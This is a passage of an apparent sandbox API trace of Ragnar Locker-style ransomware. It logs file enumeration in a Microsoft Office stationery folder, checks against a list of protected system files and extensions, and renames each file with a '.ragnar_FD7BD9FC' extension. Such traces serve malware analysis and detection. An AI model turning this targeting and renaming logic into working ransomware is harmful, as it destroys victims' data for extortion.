Shared\\Stationery\\Monet.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" [0069.165] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.ragnar_FD7BD9FC" [0069.165] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.165] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0069.165] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.165] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Month_Calendar.emf" | out: lpString1="Month_Calendar.emf") returned="Month_Calendar.emf" [0069.165] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf") returned=".emf" [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="autorun.inf") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="boot.ini") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="bootfont.bin") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="bootsect.bak") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="bootmgr") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="bootmgr.efi") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="bootmgfw.efi") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="desktop.ini") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="iconcache.db") returned 1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="ntldr") returned -1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="ntuser.dat") returned -1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="ntuser.dat.log") returned -1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="ntuser.ini") returned -1 [0069.165] lstrcmpiW (lpString1="Month_Calendar.emf", lpString2="thumbs.db") returned -1 [0069.166] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0069.166] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0069.166] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0069.166] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0069.166] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0069.166] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0069.166] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0069.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0069.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.166] CloseHandle (hObject=0xffffffff) returned 0 [0069.166] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" [0069.166] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.ragnar_FD7BD9FC" [0069.166] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.166] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0069.166] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.166] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Music.emf" | out: lpString1="Music.emf") returned="Music.emf" [0069.166] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf") returned=".emf" [0069.166] lstrcmpiW (lpString1="Music.emf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.166] lstrcmpiW (lpString1="Music.emf", lpString2="autorun.inf") returned 1 [0069.166] lstrcmpiW (lpString1="Music.emf", lpString2="boot.ini") returned 1 [0069.166] lstrcmpiW (lpString1="Music.emf", lpString2="bootfont.bin") returned 1 [0069.166] lstrcmpiW (lpString1="Music.emf", lpString2="bootsect.bak") returned 1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="bootmgr") returned 1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="bootmgr.efi") returned 1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="bootmgfw.efi") returned 1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="desktop.ini") returned 1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="iconcache.db") returned 1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="ntldr") returned -1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="ntuser.dat") returned -1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="ntuser.dat.log") returned -1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="ntuser.ini") returned -1 [0069.167] lstrcmpiW (lpString1="Music.emf", lpString2="thumbs.db") returned -1 [0069.167] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0069.167] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0069.167] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0069.167] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0069.167] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0069.167] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0069.167] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0069.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0069.179] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.179] CloseHandle (hObject=0xffffffff) returned 0 [0069.179] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" [0069.179] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.ragnar_FD7BD9FC" [0069.179] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.179] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0069.179] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.179] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Notebook.jpg" | out: lpString1="Notebook.jpg") returned="Notebook.jpg" [0069.179] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned=".jpg" [0069.179] lstrcmpiW (lpString1="Notebook.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.179] lstrcmpiW (lpString1="Notebook.jpg", lpString2="autorun.inf") returned 1 [0069.179] lstrcmpiW (lpString1="Notebook.jpg", lpString2="boot.ini") returned 1 [0069.179] lstrcmpiW (lpString1="Notebook.jpg", lpString2="bootfont.bin") returned 1 [0069.179] lstrcmpiW (lpString1="Notebook.jpg", lpString2="bootsect.bak") returned 1 [0069.179] lstrcmpiW (lpString1="Notebook.jpg", lpString2="bootmgr") returned 1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="bootmgr.efi") returned 1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="bootmgfw.efi") returned 1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="desktop.ini") returned 1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="iconcache.db") returned 1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="ntldr") returned -1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="ntuser.dat") returned -1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="ntuser.dat.log") returned -1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="ntuser.ini") returned -1 [0069.180] lstrcmpiW (lpString1="Notebook.jpg", lpString2="thumbs.db") returned -1 [0069.180] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.180] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.180] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.180] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.180] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.180] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.180] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0069.185] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.186] CloseHandle (hObject=0xffffffff) returned 0 [0069.187] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" [0069.187] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.ragnar_FD7BD9FC" [0069.187] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.197] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0069.197] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.199] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Orange Circles.htm" | out: lpString1="Orange Circles.htm") returned="Orange Circles.htm" [0069.199] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned=".htm" [0069.199] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.202] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="autorun.inf") returned 1 [0069.203] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="boot.ini") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="bootfont.bin") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="bootsect.bak") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="bootmgr") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="bootmgr.efi") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="bootmgfw.efi") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="desktop.ini") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="iconcache.db") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="ntldr") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="ntuser.dat") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="ntuser.dat.log") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="ntuser.ini") returned 1 [0069.377] lstrcmpiW (lpString1="Orange Circles.htm", lpString2="thumbs.db") returned -1 [0069.377] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.377] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.377] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.377] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.377] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.377] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.377] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0069.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.378] CloseHandle (hObject=0xffffffff) returned 0 [0069.378] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" [0069.378] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.ragnar_FD7BD9FC" [0069.378] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.378] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0069.378] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.378] lstrcpyW (in: lpString1=0x1eb63c, lpString2="OrangeCircles.jpg" | out: lpString1="OrangeCircles.jpg") returned="OrangeCircles.jpg" [0069.378] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned=".jpg" [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="autorun.inf") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="boot.ini") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="bootfont.bin") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="bootsect.bak") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="bootmgr") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="bootmgr.efi") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="bootmgfw.efi") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="desktop.ini") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="iconcache.db") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="ntldr") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="ntuser.dat") returned 1 [0069.378] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="ntuser.dat.log") returned 1 [0069.379] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="ntuser.ini") returned 1 [0069.379] lstrcmpiW (lpString1="OrangeCircles.jpg", lpString2="thumbs.db") returned -1 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.379] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0069.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.379] CloseHandle (hObject=0xffffffff) returned 0 [0069.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" [0069.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.ragnar_FD7BD9FC" [0069.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.379] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0069.379] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.379] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Peacock.htm" | out: lpString1="Peacock.htm") returned="Peacock.htm" [0069.379] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned=".htm" [0069.379] lstrcmpiW (lpString1="Peacock.htm", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.379] lstrcmpiW (lpString1="Peacock.htm", lpString2="autorun.inf") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="boot.ini") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="bootfont.bin") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="bootsect.bak") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="bootmgr") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="bootmgr.efi") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="bootmgfw.efi") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="desktop.ini") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", lpString2="iconcache.db") returned 1 [0069.380] lstrcmpiW (lpString1="Peacock.htm", 